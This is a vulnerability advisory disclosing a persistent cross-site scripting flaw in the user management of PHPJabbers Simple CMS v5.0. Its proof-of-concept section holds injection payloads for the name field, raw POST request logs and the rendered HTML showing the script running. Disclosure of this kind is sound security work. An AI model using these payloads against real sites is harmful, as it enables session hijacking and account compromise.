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Document Title:  
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PHPJabbers Simple CMS v5 - Persistent XSS Vulnerability  
  
  
References (Source):  
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https://www.vulnerability-lab.com/get_content.php?id=2300  
  
  
Release Date:  
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2021-10-28  
  
  
Vulnerability Laboratory ID (VL-ID):  
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2300  
  
  
Common Vulnerability Scoring System:  
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5.4  
  
  
Vulnerability Class:  
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Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
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500€ - 1.000€  
  
  
Product & Service Introduction:  
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A simple PHP content management system for easy web content editing and publishing. Our PHP Content Management System script is designed  
to provide you with powerful yet easy content administration tools. The smart CMS lets you create and manage multiple types of web sections  
and easily embed them into your website. You can upload a wide range of files and add users with different user access levels. Get the  
Developer License and customize the script to fit your specific needs.  
  
(Copy of the Homepage:https://www.phpjabbers.com/simple-cms/ )  
  
  
Abstract Advisory Information:  
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The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the PHPJabbers Simple CMS v5.0 web-application.  
  
  
Affected Product(s):  
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PHPJabbers  
Product: PHPJabbers Simple CMS v5.0 - (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2021-09-01: Researcher Notification & Coordination (Security Researcher)  
2021-09-02: Vendor Notification (Security Department)  
2021-**-**: Vendor Response/Feedback (Security Department)  
2021-**-**: Vendor Fix/Patch (Service Developer Team)  
2021-**-**: Security Acknowledgements (Security Department)  
2021-10-28: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
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Published  
  
  
Exploitation Technique:  
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Remote  
  
  
Severity Level:  
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Medium  
  
  
Authentication Type:  
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Restricted Authentication (Moderator Privileges)  
  
  
User Interaction:  
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Low User Interaction  
  
  
Disclosure Type:  
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Responsible Disclosure  
  
  
Technical Details & Description:  
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A persistent input validation web vulnerability has been discovered in the in the PHPJabbers Simple CMS v5.0 web-application.  
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise  
browser to web-application requests from the application-side.  
  
The persistent vulnerability is located in the create (pjActionCreate) and update (pjActionUpdate) post method request.  
Privileged authenticated accounts with ui access are able to inject own malicious script code as name for users.  
The script code execution is performed after the inject via post method in the user list (pjAdminUsers).  
  
Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external  
redirects to malicious source and persistent manipulation of affected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Create (Add)  
[+] Update  
  
Vulnerable Parameter(s):  
[+] pjActionCreate  
[+] pjActionUpdate  
  
Affected Module(s):  
[+] pjAdminUsers  
  
  
Proof of Concept (PoC):  
=======================  
The persistent web vulnerability can be exploited by remote attackers with privilged user accounts with low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
PoC: Payloads  
"><img src=evil.source onload=alert(document.cookie)>  
"><img src=evil.source onload=alert(document.domain)>  
  
  
--- PoC Session Logs (POST) [Add & Update]  
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate  
Host: phpjabbers-cms.localhost:8080  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 178  
Origin:https://phpjabbers-cms.localhost:8080  
Connection: keep-alive  
Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate  
Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;  
_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;  
pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1  
user_create=1&role_id=2&email=test@ftp.world&password=test2&name=r"><img src=evil.source onload=alert(document.cookie)>&section_allow=1&file_allow=1&status=T  
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POST: HTTP/1.1 303  
Server: Apache/2.2.15 (CentOS)  
Location: /1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03  
Keep-Alive: timeout=10, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=utf-8  
--  
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate  
Host: phpjabbers-cms.localhost:8080  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 180  
Origin:https://phpjabbers-cms.localhost:8080  
Connection: keep-alive  
Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate&id=2  
Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;  
_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;  
pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1  
user_update=1&id=2&role_id=2&email=test@test.de&password=test&name=r"><img src=evil.source onload=alert(document.cookie)>&section_allow=1&file_allow=1&status=T  
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POST: HTTP/1.1 303  
Server: Apache/2.2.15 (CentOS)  
Location:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU01  
Keep-Alive: timeout=10, max=83  
Connection: Keep-Alive  
Content-Type: text/html; charset=utf-8  
-  
https://phpjabbers-cms.localhost:8080/1630949262_438/evil.source  
Host: phpjabbers-cms.localhost:8080  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Connection: keep-alive  
Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03  
Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;  
_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;  
pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1  
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GET: HTTP/1.1 200 OK  
Server: Apache/2.2.15 (CentOS)  
Content-Length: 380  
Keep-Alive: timeout=10, max=89  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
  
Vulnerable Source: index.php?controller=pjAdminUsers (&action=pjActionIndex&err=AU03)  
<select data-name="status" style="display: none;" class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option>  
<option value="F">Inactive</option></select></td><td><a href="index.php?controller=pjAdminUsers&action=pjActionUpdate&id=1"  
class="pj-table-icon-edit"></a></td></tr><tr class="pj-table-row-even" data-id="id_3"><td><input type="checkbox" name="record[]" value="3"  
class="pj-table-select-row"></td><td class="pj-table-cell-editable">  
<span class="pj-table-cell-label">r"><img src="evil.source" onload="alert(document.cookie)"></img></span>  
<input type="text" data-name="name" style="display: none;" class="pj-form-field pj-form-text  
pj-selector-editable" value="r"><img src=evil.source onload=alert(document.cookie)>"></td><td class="pj-table-cell-editable">  
<span class="pj-table-cell-label">test@ftp.world</span><input type="text" data-name="email" style="display: none;"  
class="pj-form-field pj-form-text pj-selector-editable" value="test@ftp.world"></td><td><span class="pj-table-cell-label">06-09-2021</span></td>  
<td><span class="pj-table-cell-label"><span class="label-status user-role-editor">editor</span></span></td><td class="pj-table-cell-editable">  
<span class="pj-table-cell-label pj-status pj-status-T">Active</span><select data-name="status" style="display: none;"  
class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option><option value="F">Inactive</option></select></td>  
<td><a href="index.php?controller=pjAdminUsers&action=pjActionUpdate&id=3" class="pj-table-icon-edit"></a>  
<a href="index.php?controller=pjAdminUsers&action=pjActionDeleteUser&id=3" class="pj-table-icon-delete"></a></td></tr></tbody></table>  
  
  
Reference(s):  
https://phpjabbers-cms.localhost:8080/  
https://phpjabbers-cms.localhost:8080/1630949262_438/  
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php  
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate  
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
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